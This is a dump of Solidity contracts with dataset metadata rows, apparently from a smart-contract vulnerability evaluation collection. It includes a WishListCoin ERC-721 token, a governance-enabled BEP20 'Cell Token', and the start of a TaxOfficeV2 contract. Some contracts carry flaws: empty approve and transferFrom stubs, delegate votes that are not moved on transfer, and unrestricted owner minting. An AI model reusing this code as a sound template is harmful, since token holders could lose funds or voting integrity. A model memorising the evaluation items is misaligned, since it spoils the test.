uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 177,378 | 168 |
bff7ec024e90d4a28a20a5acfe7339f30428107127ed58cd2ed3b22a57f708cd
| 18,484 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2f0433758bcc851d047d0fed1f423fa38e96da47.sol
| 3,157 | 11,892 |
pragma solidity ^0.5.5;
//WLC VERSION 10
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
interface ERC721 {
// Required methods
function totalSupply() external view returns (uint256 total);
function balanceOf(address _owner) external view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function exists(uint256 _tokenId) external view returns (bool _exists);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
function tokensOfOwner(address _owner) external view returns (uint256[] memory tokenIds);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract ERC721Metadata is ERC721 {
function name() external view returns (string memory _name);
function symbol() external view returns (string memory _symbol);
function tokenURI(uint256 _tokenId) public view returns (string memory);
}
contract DreamCarToken {
function getWLCReward(uint256 _boughtWLCAmount, address _owner) public returns (uint256 remaining) {}
function getForWLC(address _owner) public {}
}
contract WishListToken is ERC721, ERC721Metadata {
string internal constant tokenName = 'WishListCoin';
string internal constant tokenSymbol = 'WLC';
uint256 public constant decimals = 0;
//ERC721 VARIABLES
//the total count of wishes
uint256 public totalTokenSupply;
//this address is the CEO
address payable public CEO;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
//TOKEN SPECIFIC VARIABLES
// Mapping from owner to ids of owned tokens
mapping (address => uint256[]) internal tokensOwnedBy;
// Mapping from owner to ids of exchanged tokens
mapping (address => uint256[]) internal tokensExchangedBy;
//Token price in WEI
uint256 public tokenPrice;
//A list of price admins; they can change price, in addition to the CEO
address[] public priceAdmins;
//Next id that will be assigned to token
uint256 internal nextTokenId = 1;
//DCC INTERACTION VARIABLES
//when an user purchases a large number of WLC tokens
DreamCarToken[] public dreamCarCoinContracts;
DreamCarToken public dreamCarCoinExchanger;
//ERC721 FUNCTIONS IMPLEMENTATIONS
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function totalSupply() public view returns (uint256 total) {
return totalTokenSupply;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return tokensOwnedBy[_owner].length;
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
return tokenOwner[_tokenId];
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory tokenIds) {
return tokensOwnedBy[_owner];
}
function transfer(address _to, uint256 _tokenId) external {
require(_to != address(0));
ensureAddressIsTokenOwner(msg.sender, _tokenId);
//swap token for the last one in the list
tokensOwnedBy[msg.sender][ownedTokensIndex[_tokenId]] = tokensOwnedBy[msg.sender][tokensOwnedBy[msg.sender].length - 1];
//record the changed position of the last element
ownedTokensIndex[tokensOwnedBy[msg.sender][tokensOwnedBy[msg.sender].length - 1]] = ownedTokensIndex[_tokenId];
//remove last element of the list
tokensOwnedBy[msg.sender].pop();
//delete tokensOwnedBy[msg.sender][ownedTokensIndex[_tokenId]];
tokensOwnedBy[_to].push(_tokenId);
tokenOwner[_tokenId] = _to;
ownedTokensIndex[_tokenId] = tokensOwnedBy[_to].length - 1;
emit Transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) external { }
function transferFrom(address _from, address _to, uint256 _tokenId) external { }
function _setTokenURI(uint256 _tokenId, string storage _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
//ERC721Metadata FUNCTIONS IMPLEMENTATIONS
function name() external view returns (string memory _name) {
return tokenName;
}
function symbol() external view returns (string memory _symbol) {
return tokenSymbol;
}
function tokenURI(uint256 _tokenId) public view returns (string memory) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
//TOKEN SPECIFIC FUNCTIONS
event Buy(address indexed from, uint256 amount, uint256 fromTokenId, uint256 toTokenId, uint256 timestamp);
event Exchange(address indexed from, uint256 tokenId);
event ExchangeForDCC(address indexed from, uint256 tokenId);
modifier onlyCEO {
require(msg.sender == CEO, 'You need to be the CEO to do that!');
_;
}
constructor (address payable _ceo) public {
CEO = _ceo;
totalTokenSupply = 1001000;
tokenPrice = 3067484662576687; // (if eth = 163USD, 0.5 USD for token)
}
function exchangedBy(address _owner) external view returns (uint256[] memory tokenIds) {
return tokensExchangedBy[_owner];
}
function lastTokenId() public view returns (uint256 tokenId) {
return nextTokenId - 1;
}
function setTokenPriceInWEI(uint256 _newPrice) public {
bool transactionAllowed = false;
if (msg.sender == CEO) {
transactionAllowed = true;
} else {
for (uint256 i = 0; i < priceAdmins.length; i++) {
if (msg.sender == priceAdmins[i]) {
transactionAllowed = true;
break;
}
}
}
require((transactionAllowed == true), 'You cannot do that!');
tokenPrice = _newPrice;
}
function addPriceAdmin(address _newPriceAdmin) onlyCEO public {
priceAdmins.push(_newPriceAdmin);
}
function removePriceAdmin(address _existingPriceAdmin) onlyCEO public {
for (uint256 i = 0; i < priceAdmins.length; i++) {
if (_existingPriceAdmin == priceAdmins[i]) {
delete priceAdmins[i];
break;
}
}
}
function _addTokensToAddress(address _to, uint256 _amount) internal {
for (uint256 i = 0; i < _amount; i++) {
tokensOwnedBy[_to].push(nextTokenId + i);
tokenOwner[nextTokenId + i] = _to;
ownedTokensIndex[nextTokenId + i] = tokensOwnedBy[_to].length - 1;
}
nextTokenId += _amount;
}
function ensureAddressIsTokenOwner(address _owner, uint256 _tokenId) internal view {
require(balanceOf(_owner) >= 1, 'You do not own any tokens!');
require(tokenOwner[_tokenId] == _owner, 'You do not own this token!');
}
function scalePurchaseTokenAmountToMatchRemainingTokens(uint256 _amount) internal view returns (uint256 _exactAmount) {
if (nextTokenId + _amount - 1 > totalTokenSupply) {
_amount = totalTokenSupply - nextTokenId + 1;
}
if (balanceOf(msg.sender) + _amount > 100) {
_amount = 100 - balanceOf(msg.sender);
require(_amount > 0, "You can own maximum of 100 tokens!");
}
return _amount;
}
function buy() payable public {
require(msg.value >= tokenPrice, "You did't send enough ETH");
uint256 amount = scalePurchaseTokenAmountToMatchRemainingTokens(msg.value / tokenPrice);
require(amount > 0, "Not enough tokens are available for purchase!");
_addTokensToAddress(msg.sender, amount);
emit Buy(msg.sender, amount, nextTokenId - amount, nextTokenId - 1, now);
//transfer ETH to CEO
CEO.transfer((amount * tokenPrice));
getDCCRewards(amount);
//returns excessive ETH
msg.sender.transfer(msg.value - (amount * tokenPrice));
}
function exchangeToken(address _owner, uint256 _tokenId) internal {
ensureAddressIsTokenOwner(_owner, _tokenId);
//swap token for the last one in the list
tokensOwnedBy[_owner][ownedTokensIndex[_tokenId]] = tokensOwnedBy[_owner][tokensOwnedBy[_owner].length - 1];
//record the changed position of the last element
ownedTokensIndex[tokensOwnedBy[_owner][tokensOwnedBy[_owner].length - 1]] = ownedTokensIndex[_tokenId];
//remove last element of the list
tokensOwnedBy[_owner].pop();
ownedTokensIndex[_tokenId] = 0;
delete tokenOwner[_tokenId];
tokensExchangedBy[_owner].push(_tokenId);
}
function exchange(uint256 _tokenId) public {
exchangeToken(msg.sender, _tokenId);
emit Exchange(msg.sender, _tokenId);
}
function mint(uint256 _amount) onlyCEO public {
require (_amount > 0, 'Amount must be bigger than 0!');
totalTokenSupply += _amount;
}
//DCC INTERACTION FUNCTIONS
function setDreamCarCoinAddress(uint256 _index, address _address) public onlyCEO {
require (_address != address(0));
if (dreamCarCoinContracts.length > 0 && dreamCarCoinContracts.length - 1 >= _index) {
dreamCarCoinContracts[_index] = DreamCarToken(_address);
} else {
dreamCarCoinContracts.push(DreamCarToken(_address));
}
}
function removeDreamCarCoinAddress(uint256 _index) public onlyCEO {
delete(dreamCarCoinContracts[_index]);
}
function setDreamCarCoinExchanger(address _address) public onlyCEO {
require (_address != address(0));
dreamCarCoinExchanger = DreamCarToken(_address);
}
function removeDreamCarCoinExchanger() public onlyCEO {
dreamCarCoinExchanger = DreamCarToken(address(0));
}
function getDCCRewards(uint256 _amount) internal {
for (uint256 i = 0; i < dreamCarCoinContracts.length; i++) {
if (_amount > 0 && address(dreamCarCoinContracts[i]) != address(0)) {
_amount = dreamCarCoinContracts[i].getWLCReward(_amount, msg.sender);
} else {
break;
}
}
}
function exchangeForDCC(uint256 _tokenId) public {
require (address(dreamCarCoinExchanger) != address(0));
dreamCarCoinExchanger.getForWLC(msg.sender);
exchangeToken(msg.sender, _tokenId);
emit ExchangeForDCC(msg.sender, _tokenId);
}
}
| 215,323 | 169 |
bd57fc9c4d9d606da6a24c80ceee7dca1c442bcf9b06511fb2bd335e37afb53e
| 38,016 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7b532A4b1c11a790425F2FC7bba83764aD9D1dF0/contract.sol
| 4,862 | 19,101 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// CakeToken with Governance.
contract CellToken is BEP20('Cell Token', 'Cell') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 249,311 | 170 |
b219add3f831a55baf37b662bdfbb6f9c1568f6ac22a4b1fa7b79cf199380b9d
| 24,309 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/6e/6e1ea40e94aae0657b05dae1d744d4a78ba3541f_TaxOfficeV2.sol
| 4,181 | 16,255 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
